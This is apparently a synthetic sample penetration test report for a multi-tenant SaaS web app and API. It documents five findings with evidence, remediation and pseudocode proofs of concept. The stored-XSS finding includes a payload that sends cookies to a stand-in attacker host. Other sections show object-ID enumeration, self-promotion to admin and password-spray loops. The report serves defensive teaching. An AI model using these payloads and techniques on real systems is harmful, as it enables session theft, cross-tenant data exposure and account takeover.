

**SAMPLE – TLP-CLEAR**

Web Application & API Penetration Test Report

Sample SaaS Platform

app.example.com · api.example.com/v1

Assessment type	Black-box cloud web application and API penetration test
Target platform	Multi-tenant SaaS web application (SPA + REST API)
Testing window	Sample engagement – dates redacted
Report date	Sample
Report version	1.0 (Sample)
Classification	TLP-CLEAR - Anonymized sample for external sharing

This is an anonymized sample penetration test report produced to demonstrate the assessment methodology, finding structure, and reporting format used on client engagements. The five findings below are illustrative examples of common web-application and API weaknesses; they do not describe a real client system, and all identifiers, endpoints, and evidence are synthetic.

Table of Contents

1. Executive Summary	3
1.1 Overall Security Posture	3
1.2 Findings by Severity	3
1.3 Most Important Risks.....	3
1.4 Positive Observations	4
1.5 Strategic Remediation Priorities	4
2. Assessment Overview.....	5
2.1 Objectives	5
2.2 Scope	5
2.3 Rules of Engagement	5
2.4 Methodology	5
2.5 Validation and Severity Standard	5
3. Risk Summary	6
3.1 How to Read Severity	6
4. Detailed Findings.....	7
Finding VS-001 — Cross-Tenant Access via API Object IDs.....	7
Finding VS-002 — Stored XSS in Workspace Content.....	10
Finding VS-003 — Privilege Escalation Through Role Update Flow	12
Finding VS-004 — Insufficient Rate Limiting on Authentication.....	14
Finding VS-005 — Security Headers Are Incomplete.....	16
5. Cross-Cutting Analysis	18
5.1 Systemic Root Causes	18
5.2 Attack-Chaining Assessment.....	18
6. Remediation Roadmap	19
6.1 Immediate.....	19
6.2 Near Term	19
6.3 Hardening	19
6.4 Suggested Sequencing and Dependencies	19
Appendix A — Methodology and Tools	20
Appendix B — Scope and Testing Limitations	21
Appendix C — Proof-of-Concept Notes.....	22
C.1 — VS-001 Cross-Tenant Object Walk.....	22
C.2 — VS-003 Function-Level Authorization Bypass.....	22
C.3 — VS-004 Authentication Throttle Check.....	22
Appendix D — References	23

1. Executive Summary

This report presents the results of an authorised black-box penetration test of a multi-tenant SaaS web application and its supporting REST API. Testing was performed from the perspective of an external attacker holding a low-privilege authenticated account, with particular attention to tenant-isolation boundaries, access control on privileged actions, handling of user-supplied content, and authentication controls.

The engagement identified five findings: one Critical, two High, one Medium, and one Low. The Critical and High issues share a common theme — authorization decisions that are made on the client or inferred from client-supplied input, rather than enforced server-side against the acting principal and the target object. These are the issues to prioritise.

1.1 Overall Security Posture

The dominant risk is a **failure of server-side authorization**. The most severe finding (VS-001) allows an authenticated user to read another organization's records by editing a predictable object identifier, which is a complete breakdown of tenant isolation in the affected API path. VS-003 follows the same pattern on a privileged write action, letting a member-level account reach an administrator-only capability. Together they indicate that authorization is not consistently enforced at the server boundary.

The remaining findings are a stored cross-site scripting issue in shared workspace content (VS-002), which turns one tenant's user into an attacker against their colleagues, and two hardening gaps — weak authentication rate limiting (VS-004) and incomplete security headers (VS-005) — that widen the blast radius of the issues above rather than being directly exploitable alone.

1.2 Findings by Severity

The severity distribution is shown below. Severity reflects business impact in the context of a multi-tenant SaaS product, and for VS-001 is elevated above its CVSS base to Critical because the flaw breaks tenant isolation across all customer organizations.

Severity	Count	Findings
Critical	1	VS-001
High	2	VS-002, VS-003
Medium	1	VS-004
Low	1	VS-005
Informational	0	—

Table 1. Distribution of findings by severity.

1.3 Most Important Risks

Cross-tenant data exposure (VS-001, Critical). A predictable object identifier on a record-retrieval endpoint is not checked against the caller's tenant. Any authenticated user can iterate identifiers and read records belonging to other organizations. This is the single most urgent issue: it is trivial to exploit, requires only a valid account, and directly exposes customer data across the tenant boundary.

Privilege escalation on the role-change flow (VS-003, High). The server trusts a client-supplied role context when processing a role update, so a member-level account can grant itself, or reach, an administrator-only action. Combined with VS-001 this would let an attacker move from reading other tenants' data to acting with elevated privilege.

Stored XSS in shared workspace content (VS-002, High). Rich content saved in a shared workspace is rendered to other authorized users without adequate encoding or sanitisation, so a script stored by one user executes in a colleague's authenticated session.

1.4 Positive Observations

- Authentication uses short-lived bearer tokens over TLS, and no plaintext credential storage was observed.
- Tenant isolation was enforced correctly on the majority of API routes tested; VS-001 is a localised gap rather than a total absence of access control.
- No injection into the primary data store (SQL/NoSQL) was identified in the tested endpoints.

These observations describe a platform with a reasonable baseline; the findings are concentrated in specific authorization and output-handling paths that can be closed without architectural change.

1.5 Strategic Remediation Priorities

In priority order: (1) enforce server-side, per-object tenant ownership checks on every resource access and add authorization tests to the regression suite (VS-001); (2) authorize privileged capabilities at the server boundary instead of trusting client-supplied role context (VS-003); (3) apply contextual output encoding and allowlist sanitisation to user-supplied content, backed by a restrictive Content-Security-Policy (VS-002); (4) add adaptive rate limiting and per-account protections to authentication (VS-004); and (5) complete the security-header baseline (VS-005). The first two are the highest-leverage actions because they address the systemic authorization weakness rather than a single endpoint.

2. Assessment Overview

2.1 Objectives

Evaluate the security posture of the in-scope web application and API from the perspective of an external attacker who holds a low-privilege authenticated account, and determine whether such an attacker can cross tenant boundaries, escalate privilege, compromise other users, or abuse authentication.

2.2 Scope

- `app.example.com` — the single-page web application.
- `api.example.com/v1` — the REST API backing the application.

Testing was authenticated as a standard member-level account within a single tenant, plus a second tenant used only to confirm cross-tenant boundaries.

2.3 Rules of Engagement

Testing was non-destructive. State-changing and cross-tenant write actions were confirmed only to the point of demonstrating the weakness, without persisting changes in other tenants. Denial-of-service and social-engineering techniques were out of scope.

2.4 Methodology

The assessment followed the OWASP Web Security Testing Guide and the OWASP API Security Top 10, covering authentication and session management, object- and function-level authorization, input validation and output handling, business-logic flaws, and configuration and transport hardening. Each candidate issue was verified by hand to eliminate false positives before inclusion.

2.5 Validation and Severity Standard

Every finding was manually validated. Findings carry a CVSS 3.1 base vector and score for reference, but the **final severity reflects business impact** in a multi-tenant SaaS context and can differ from the CVSS base. VS-001 is the clearest example: its demonstrated read-only CVSS base is High, but because the flaw breaks tenant isolation across all customer organizations, its business risk is rated Critical. Where impact depends on conditions that were not exercised under the rules of engagement, the finding says so and the rating reflects only what was demonstrated.

3. Risk Summary

The table below lists all findings with their final severity, category, and affected area. Detailed analysis for each follows in Section 4.

ID	Finding	Severity	Category	Affected area
VS-001	Cross-tenant access via API object IDs	Critical	Authorization / API	GET /api/v1/....records/{id}
VS-002	Stored XSS in workspace content	High	XSS / Web	Workspace editor content
VS-003	Privilege escalation via role update	High	Access control / Logic	POST /api/....members/role
VS-004	Insufficient authentication rate limiting	Medium	Authentication	POST /auth/login
VS-005	Incomplete security headers	Low	Hardening / Web	Response headers

Table 2. All findings at a glance.

3.1 How to Read Severity

Critical issues expose data or capability across tenants or without meaningful precondition and demand immediate action. **High** issues allow compromise of another user or privilege within realistic conditions. **Medium** issues weaken a control or enable abuse that raises the likelihood of compromise. **Low** issues are hardening gaps that improve defense-in-depth. Severity is the final, business-adjusted rating; the CVSS base for each finding appears in its metadata block.

4. Detailed Findings

Each finding below follows a consistent structure: a metadata block, an executive summary, a technical description, illustrative evidence, reproduction steps, an analysis of security impact and a realistic attack scenario, the underlying root cause, remediation and defense-in-depth guidance, and verification steps the engineering team can use to confirm the fix.

Finding VS-001 — Cross-Tenant Access via API Object IDs

Severity	Critical (business impact)
CVSS 3.1	7.7 base (High) · AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — risk elevated to Critical; see Executive Summary
CWE	CWE-639: Authorization Bypass Through User-Controlled Key (OWASP API1:2023, BOLA)
Affected area	<code>GET /api/v1/....../records/{id}</code>
Status	Open

Executive Summary

A record-retrieval endpoint accepts a numeric, sequential object identifier and returns the record without checking that it belongs to the caller's organization. Because the identifiers are predictable, any authenticated user can iterate them and read records that belong to other tenants. This is a complete breakdown of tenant isolation on the affected path. It needs only a valid low-privilege account, no special conditions, and exposes customer data across the organizational boundary — hence the Critical business rating, above the read-only CVSS base.

Technical Description

The endpoint identifies the target record solely by the `{id}` path parameter. Authorization is enforced at the authentication layer (a valid bearer token is required) but not at the object layer: the server does not verify that the record identified by `{id}` is owned by the tenant associated with the token. This is the archetypal Broken Object-Level Authorization (BOLA) pattern.

The identifiers are integers assigned sequentially, so an attacker does not need to discover valid IDs — they can simply decrement or increment their own record IDs and walk the space. The response body for a record belonging to another tenant is returned in full, with a **200 OK**, identical in shape to a legitimately owned record.

Evidence

The illustrative exchange below shows the caller's own tenant record, followed by a neighbouring identifier that resolves to a different tenant's record and is still returned successfully.

```
# Own record (tenant A) – authorised
GET /api/v1/....../records/4021      Authorization: Bearer <tenant-A token>
-> 200 OK  {"id":4021,"org_id":"A","title":"Q3 plan", ...}

# Neighbouring id – belongs to tenant B, still returned to tenant A
GET /api/v1/....../records/4022      Authorization: Bearer <tenant-A token>
-> 200 OK  {"id":4022,"org_id":"B","title":"Board pack", ...}
          ^^^^^^^^^^ different org_id, no 403

# Enumeration confirms the pattern across the range
for id in 4000..4100: GET /records/{id} -> 200 for ids owned by many org_ids
```

Figure 1. A sequential identifier from a different `org_id` is returned with 200 OK rather than 403. Values are synthetic.

Reproduction

1. Authenticate as a standard member of tenant A and retrieve one of your own records to learn a valid `{id}`.
2. Send the same request with an adjacent identifier (for example, `{id} - 1`).
3. Observe a `200 OK` whose `org_id` differs from your own, confirming a cross-tenant read.
4. Iterate a small range to confirm that records from multiple organizations are reachable.

Security Impact

Direct impact: disclosure of arbitrary records belonging to other tenants (confidentiality: high). Any authenticated user can read data they have no relationship to.

Preconditions: a single valid low-privilege account. No relationship to the target tenant is required, and the sequential identifiers remove any need to guess.

Business impact: because the flaw is not scoped to one victim but reaches every tenant whose records share the endpoint, it is a platform-wide confidentiality breach. For a multi-tenant SaaS product this is the class of issue that triggers breach-notification obligations, which is why it is rated Critical despite a read-only CVSS base.

Attack Scenario

An attacker signs up for, or compromises, any low-privilege account. They script a walk over the identifier space and harvest records across all tenants — competitive intelligence, personal data, and internal documents — within minutes, entirely through the documented API and without tripping any authorization control.

Root Cause

Authorization is enforced at authentication time (is the token valid?) but not at object-access time (does this token's tenant own this object?). The identifier is user-controlled and trusted as if possession of an ID implied entitlement to the object it names.

Remediation

1. Enforce a server-side tenant-ownership check on every object access: resolve the object, compare its owning tenant to the caller's, and return `404` (not `403`, to avoid confirming existence) when they differ.
2. Prefer scoping queries by tenant at the data layer (for example `WHERE org_id = :caller_org`) so an unowned object is never loaded in the first place.
3. Replace sequential integer identifiers on tenant-scoped resources with non-guessable UUIDs, so even a residual gap cannot be swept by enumeration.
4. Add authorization test cases to the API regression suite that assert a tenant-A token receives `404` for a tenant-B object on every object-bearing route.

Defense in Depth

Audit every route that accepts an object identifier for the same pattern, not just the one demonstrated — BOLA is typically systemic. Add anomaly detection for a single principal requesting many distinct object IDs in a short window, and consider a centralised authorization layer so per-object checks are not left to each handler.

Verification

After remediation, confirm that a tenant-A token receives `404` for a tenant-B identifier on this and sibling endpoints, that the response is indistinguishable for a non-existent versus an unowned identifier, and that the new regression tests fail if the ownership check is removed.

References

- OWASP API Security Top 10 — API1:2023 Broken Object Level Authorization.
- CWE-639: Authorization Bypass Through User-Controlled Key.

Finding VS-002 — Stored XSS in Workspace Content

Severity	High
CVSS 3.1	8.8 · AV:N/AC:L/PR:L/UI:R/S:C/H/I:H/A:N
CWE	CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)
Affected area	Workspace editor · customer-supplied content
Status	Open

Executive Summary

Rich content saved in a shared workspace is stored and later rendered to other authorized users without adequate output encoding or sanitisation. A member who stores crafted markup can have script execute in the browser session of any colleague who views the affected content. In a collaborative product this turns one ordinary user into an attacker against everyone who shares their workspace.

Technical Description

The workspace editor accepts rich (HTML-bearing) content and persists it. On display, the stored content is inserted into the DOM without contextual encoding and without an allowlist-based sanitiser, so attacker-controlled markup — including `<script>` and event-handler attributes such as `onerror` — is interpreted by the victim's browser. Because the script runs in the victim's authenticated origin, it can act as that user.

The application does not deploy a Content-Security-Policy that would constrain inline script execution (see VS-005), so there is no secondary control to contain the payload once it is stored.

Evidence

The illustrative payload below is stored through the editor and executes when a second user opens the workspace item.

```
# Stored by attacker (member of the shared workspace)
POST /api/v1/.../workspace/items
{"body":"<img src=x onerror=\"fetch('//attacker.example/c?'+document.cookie)\>"}
-> 201 Created

# Rendered to a second user without encoding/sanitisation
GET /workspace/items/<id> (viewed by victim)
-> payload executes in victim's authenticated session
```

Figure 2. Stored markup executes in a second user's session. Payload and host are synthetic.

Reproduction

1. As a member of a shared workspace, save an item whose rich content contains an event-handler payload such as `<img src=x onerror=...>`.
2. As a second authorized user, open the same workspace item.
3. Observe the injected script executing in the second user's browser context.

Security Impact

Direct impact: execution of attacker script in a victim's authenticated session (confidentiality and integrity: high). Depending on how session material is held, this can enable session or token theft, actions performed as the victim, and pivoting to higher-privileged users who view the content.

Preconditions: the attacker needs a member account with the ability to store content in a shared workspace, and a victim who views it — the normal collaborative workflow, so this is a realistic (UI:R) rather than exotic requirement.

Attack Scenario

A member plants a payload in a workspace that an administrator reviews. When the administrator opens it, the script runs with their session and performs a privileged action — or exfiltrates their token — chaining cleanly into privilege escalation (compare VS-003).

Root Cause

User-supplied rich content is treated as trusted markup on output. The system relies on the absence of malicious input rather than neutralising it at the point of rendering.

Remediation

1. Apply contextual output encoding wherever stored content is rendered, matching the encoding to the HTML/attribute/JS context.
2. Sanitise rich content server-side with a well-maintained allowlist library (permit a known-safe set of tags and attributes; drop everything else, including event handlers and `javascript:` URLs).
3. Deploy a restrictive Content-Security-Policy that forbids inline script and restricts sources, as a containment layer should encoding ever be missed (links to VS-005).

Defense in Depth

Prefer a framework rendering path that treats values as text by default and requires an explicit, audited opt-in for raw HTML. Add automated tests that store known payloads and assert they render inert. Set authentication cookies `HttpOnly` so that a script cannot read them directly, reducing (though not eliminating) the value of an XSS.

Verification

After remediation, confirm that stored payloads render as inert text, that the sanitiser strips event handlers and dangerous URL schemes, and that the CSP blocks inline execution. Verify the regression tests fail if sanitisation is disabled.

References

- OWASP WSTG — Testing for Stored Cross Site Scripting.
- CWE-79: Improper Neutralization of Input During Web Page Generation.

Finding VS-003 — Privilege Escalation Through Role Update Flow

Severity	High
CVSS 3.1	8.1 · AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CWE	CWE-269: Improper Privilege Management (OWASP API5:2023, BFLA)
Affected area	<code>POST /api/****/members/role</code>
Status	Open

Executive Summary

The role-change endpoint authorizes the action based on role context supplied by the client rather than on the acting principal's actual permissions. A member-level account can manipulate the request to reach an administrator-only capability — assigning itself, or another account, elevated privilege. This is Broken Function-Level Authorization: the server trusts the caller to declare what they are allowed to do.

Technical Description

Processing the role update, the server reads a role or capability value from the request and acts on it without re-deriving the caller's authority server-side. Because the check that should gate the administrative capability is effectively delegated to the client (which merely hides the option in the UI for non-admins), a member who calls the API directly — or tampers with the request — is not stopped.

Evidence

The illustrative exchange shows a member-level token performing an admin-only role assignment successfully.

```
# Member-level token elevates a target (or self) to admin
POST /api/****/members/role      Authorization: Bearer <member token>
  {"member_id":"self","role":"admin"}
  -> 200 OK  {"member_id":"...", "role":"admin"}    # accepted, no 403

# The UI never offers this to a member; the server does not enforce it either.
```

Figure 3. A member-level token completes an administrator-only role change. Values are synthetic.

Reproduction

1. Authenticate as a member-level account.
2. Call the role-change endpoint directly with an elevated role value in the body.
3. Observe a **200 OK** and the elevated role taking effect, despite the caller lacking administrative rights.

Security Impact

Direct impact: vertical privilege escalation from member to administrator (confidentiality and integrity: high). An administrator can typically manage users, data, and configuration for the whole tenant.

Preconditions: a single member-level account within the tenant. No victim interaction is required.

Attack Scenario

A disgruntled member, or an attacker who has phished any member account, elevates to administrator and then reads or alters all tenant data, invites further accounts, or disables logging. Chained with VS-001, the same actor reaches other tenants' data as well.

Root Cause

The authorization decision for a privileged function is made with, or trusts, client-supplied context. The server does not independently confirm that the acting principal holds the capability being invoked.

Remediation

1. Authorize the intended administrative capability at the server boundary, deriving the caller's permissions from their authenticated identity — never from a role or capability value in the request.
2. Deny by default: the handler should reject the action unless the acting principal explicitly holds the required capability.
3. Log privileged role changes and alert on a role change performed by a principal that did not already hold administrative rights.

Defense in Depth

Centralise function-level authorization so privileged actions share one enforced check rather than per-handler logic. Review sibling administrative endpoints (member removal, billing, configuration) for the same client-trust pattern.

Verification

After remediation, confirm a member-level token receives **403** on the role-change endpoint regardless of request body, that only genuinely administrative principals succeed, and that a regression test asserts this on every privileged function.

References

- OWASP API Security Top 10 — API5:2023 Broken Function Level Authorization.
- CWE-269: Improper Privilege Management.

Finding VS-004 — Insufficient Rate Limiting on Authentication

Severity	Medium
CVSS 3.1	5.3 · AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CWE	CWE-307: Improper Restriction of Excessive Authentication Attempts
Affected area	POST /auth/login
Status	Open

Executive Summary

The login endpoint permits repeated authentication attempts at a rate far higher than a legitimate user requires and without effective per-account protection. This makes automated credential-stuffing and password-spraying materially easier and cheaper. It does not by itself compromise an account, but it removes a control that should raise the cost of guessing.

Technical Description

Automated requests to **POST /auth/login** were accepted well beyond a reasonable human threshold, with no observed lockout, backoff, or challenge escalation keyed to the target account. Any throttling present appears coarse (for example per-IP) and is defeated by distributing attempts across sources or by targeting many accounts with a few attempts each (spraying).

Evidence

```
# Rapid sequential attempts against one account – no lockout or challenge
for pw in wordlist:
    POST /auth/login {"user":"victim@example.com","pass":pw}
    -> 401 (repeated, no backoff, no CAPTCHA, no account lock)

# Spray: one password across many accounts – also unthrottled per-account
for user in users:
    POST /auth/login {"user":user,"pass":"Winter2025!"}
```

Figure 4. Authentication attempts proceed without effective per-account limiting. Values are synthetic.

Reproduction

1. Send a burst of failed login attempts for a single account and observe no lockout, delay, or challenge.
2. Repeat one candidate password across many accounts and observe the same lack of per-account throttling.

Security Impact

Direct impact: increased likelihood of account takeover via credential stuffing or password spraying (confidentiality: low as a standalone finding). The weakness amplifies the risk of any weak or reused password in the user base.

Preconditions: none beyond network access to the login endpoint; the endpoint is pre-authentication.

Attack Scenario

An attacker with a breach-corpus of email/password pairs replays them against the login endpoint at machine speed. Without per-account limiting, a small percentage of reused passwords yields valid sessions, each of which then exposes the tenant data reachable in VS-001 and the escalation path in VS-003.

Root Cause

Abuse-prevention on authentication is absent or bound to the wrong subject (source IP) rather than to the account and credential being attempted.

Remediation

1. Add adaptive rate limiting keyed to the target account as well as the source, with progressive backoff and challenge escalation (for example CAPTCHA) after a small number of failures.
2. Record failed-attempt telemetry and alert on distributed or spray patterns across many accounts.
3. Add per-account protections: temporary lockout or step-up verification after repeated failures, and proactive notification to the user.

Defense in Depth

Promote multi-factor authentication so that a guessed password alone is insufficient, screen new and changed passwords against known-breached lists, and monitor for impossible-travel and anomalous login velocity.

Verification

After remediation, confirm that rapid attempts against one account trigger backoff or lockout, that spraying across accounts is detected and throttled, and that legitimate users are not materially impacted under normal use.

References

- OWASP WSTG — Testing for Weak Lock Out Mechanism / Brute Force.
- CWE-307: Improper Restriction of Excessive Authentication Attempts.

Finding VS-005 — Security Headers Are Incomplete

Severity	Low
CVSS 3.1	3.1 · AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
CWE	CWE-693: Protection Mechanism Failure; CWE-1021: Improper Restriction of Rendered UI Layers
Affected area	Application response headers
Status	Open

Executive Summary

Several browser-side security headers are absent or incomplete, most importantly Content-Security-Policy. None of these gaps is a vulnerability on its own, but together they reduce defense-in-depth: they are the layers that would blunt the impact of an issue like the stored XSS in VS-002 if one occurs. This is a hardening finding, not an exploitable flaw.

Technical Description

Review of the application's HTTP responses found no (or an ineffective) Content-Security-Policy, and missing or weak values for Referrer-Policy, Permissions-Policy, and related framing/isolation headers. Because there is no CSP, an injection flaw such as VS-002 has no secondary control to contain it; the two findings reinforce each other.

Evidence

```
# Observed response headers (illustrative)
Present:
  Strict-Transport-Security: max-age=... (ok)
Missing / weak:
  Content-Security-Policy      (absent – highest value)
  Referrer-Policy             (absent)
  Permissions-Policy          (absent)
  X-Content-Type-Options      (absent; expected: nosniff)
  Cross-Origin-Opener-Policy  (absent)
```

Figure 5. Consolidated header observations. Illustrative.

Reproduction

1. Request an application page or API response and inspect the response headers.
2. Note the absent or weak security headers against the recommended baseline.

Security Impact

Direct impact: none in isolation; these are the absence of defensive layers rather than exploitable flaws. The practical significance is that they leave the application more exposed to client-side attacks (notably XSS, clickjacking, and information leakage via the referrer) than it needs to be.

Attack Scenario

Should an injection flaw be introduced (or the existing VS-002 be exploited before it is fixed), the lack of a Content-Security-Policy means there is no policy layer to prevent inline script execution or exfiltration to an attacker-controlled origin, so a contained bug becomes a full session compromise.

Root Cause

A complete security-header baseline has not been defined and enforced at the edge or application layer.

Remediation

1. Design and deploy a Content-Security-Policy tailored to the application's real resource origins, rolled out in Report-Only mode first to tune, then enforced without **unsafe-inline/unsafe-eval**.
2. Add **Referrer-Policy**, **Permissions-Policy**, **X-Content-Type-Options: nosniff**, and the cross-origin isolation headers appropriate to the app.
3. Set the baseline centrally (edge or shared middleware) so all responses inherit it and it cannot drift per-service.

Defense in Depth

Treat the header baseline as one layer alongside the output-encoding fix in VS-002 and secure cookie flags. Add a CI check that fails the build if a response is missing a required header.

Verification

After remediation, confirm the CSP is present and enforcing, that the other headers are set to the agreed values, and that the CI check blocks regressions.

References

- OWASP Secure Headers Project.
- CWE-693: Protection Mechanism Failure.

5. Cross-Cutting Analysis

5.1 Systemic Root Causes

Three of the five findings (VS-001, VS-003, and the containment gap behind VS-002/VS-005) share one root cause: **authorization and safety decisions are made on, or trusted from, the client rather than enforced at the server boundary**. VS-001 trusts that possessing an object ID implies entitlement to the object. VS-003 trusts a client-supplied role context. VS-002 trusts that stored content is safe to render. The common fix is a deny-by-default posture in which the server independently re-derives the acting principal, the target object's owner, and the required capability on every request, and neutralises untrusted content at every output.

The two hardening findings (VS-004, VS-005) are the missing outer layers — abuse-prevention on authentication and browser-side controls — that would raise the cost of exploiting the core issues and contain them if a new flaw appeared.

5.2 Attack-Chaining Assessment

The findings compose into a realistic end-to-end chain. Weak authentication rate limiting (VS-004) lowers the cost of obtaining a valid low-privilege account through credential stuffing. That account immediately unlocks cross-tenant data via VS-001 and administrator capability via VS-003. Stored XSS (VS-002), amplified by the absent Content-Security-Policy (VS-005), provides an alternative path to compromise a higher-privileged user's session. Fixing the two authorization findings breaks the most damaging links in this chain and should be done first.

6. Remediation Roadmap

The roadmap groups the recommended work by urgency. Sequencing favours the highest-leverage authorization fixes first, because they address the systemic root cause rather than a single endpoint.

6.1 Immediate

1. VS-001 — Enforce server-side, per-object tenant-ownership checks on the affected route and return **404** for unowned objects.
2. VS-003 — Authorize the privileged role-change capability at the server boundary; deny by default for non-administrative principals.

6.2 Near Term

1. VS-002 — Apply contextual output encoding and allowlist sanitisation to workspace content.
2. VS-004 — Add adaptive, per-account rate limiting and failed-attempt telemetry to authentication.

6.3 Hardening

1. VS-005 — Define and enforce a complete security-header baseline, with an enforcing Content-Security-Policy.
2. Cross-cutting — Audit all object-bearing and privileged routes for the authorization patterns behind VS-001 and VS-003, and centralise both object- and function-level authorization.

6.4 Suggested Sequencing and Dependencies

Do the two Immediate authorization fixes first and in parallel; neither depends on the other. Ship the VS-002 encoding fix before, or together with, the VS-005 Content-Security-Policy so that the primary fix and its containment layer land together. VS-004 is independent and can proceed on its own track. The cross-cutting authorization audit should follow the point fixes so the corrected pattern is the reference implementation the audit checks against.

Appendix A — Methodology and Tools

The assessment combined manual testing with tool-assisted reconnaissance. Manual testing was the primary method for every reported finding; tools were used to enumerate surface and to confirm findings, never as the sole basis for a report entry.

- **Standards:** OWASP Web Security Testing Guide; OWASP API Security Top 10; OWASP Application Security Verification Standard as a control reference.
- **Techniques:** authenticated black-box testing; object- and function-level authorization testing across two tenants; input/output handling analysis; authentication and session testing; configuration and transport review.
- **Tooling:** an intercepting proxy for request analysis and replay, scripted enumeration for identifier and endpoint coverage, and manual browser instrumentation for client-side behaviour.

Appendix B — Scope and Testing Limitations

In scope

- <https://app.example.com> — the single-page web application.
- <https://api.example.com/v1> — the REST API.

Out of scope

- Denial-of-service and volumetric testing; social engineering; physical and third-party infrastructure.

Limitations

Testing was non-destructive under the rules of engagement, so cross-tenant and privileged write actions were demonstrated only to the point of proving the weakness, without persisting changes in other tenants. Where impact depended on a state change that was not performed, the corresponding finding states this and its severity reflects only what was demonstrated. This is a synthetic sample: all endpoints, identifiers, and evidence are illustrative and do not correspond to a real system.

Appendix C — Proof-of-Concept Notes

The snippets below are illustrative reproductions of the reported findings. They are written in a tool-agnostic, pseudocode style and use synthetic hosts and identifiers; they are intended to convey the technique, not to run as-is against any system.

C.1 — VS-001 Cross-Tenant Object Walk

```
token = login("member@tenant-a.example.com")
mine = get("/api/v1/....records/4021", token).json["id"]
for id in range(mine-50, mine+50):
    r = get(f"/api/v1/....records/{id}", token)
    if r.status == 200 and r.json["org_id"] != "A":
        print("cross-tenant read:", id, r.json["org_id"])
```

C.2 — VS-003 Function-Level Authorization Bypass

```
token = login("member@tenant-a.example.com") # non-admin
r = post("/api/....members/role", token,
        body={"member_id":"self","role":"admin"})
assert r.status == 200 # server accepted an admin-only action
```

C.3 — VS-004 Authentication Throttle Check

```
# Expect backoff/lockout/challenge after a few failures; observe none.
for pw in candidate_passwords:
    r = post("/auth/login", body={"user":"victim@example.com","pass":pw})
    record(r.status, r.elapsed) # no delay growth, no lock => finding stands
```

Appendix D — References

- OWASP Web Security Testing Guide (WSTG).
- OWASP API Security Top 10 (2023).
- OWASP Secure Headers Project.
- CWE-79, CWE-269, CWE-307, CWE-639, CWE-693 — Common Weakness Enumeration.
- FIRST CVSS v3.1 Specification Document.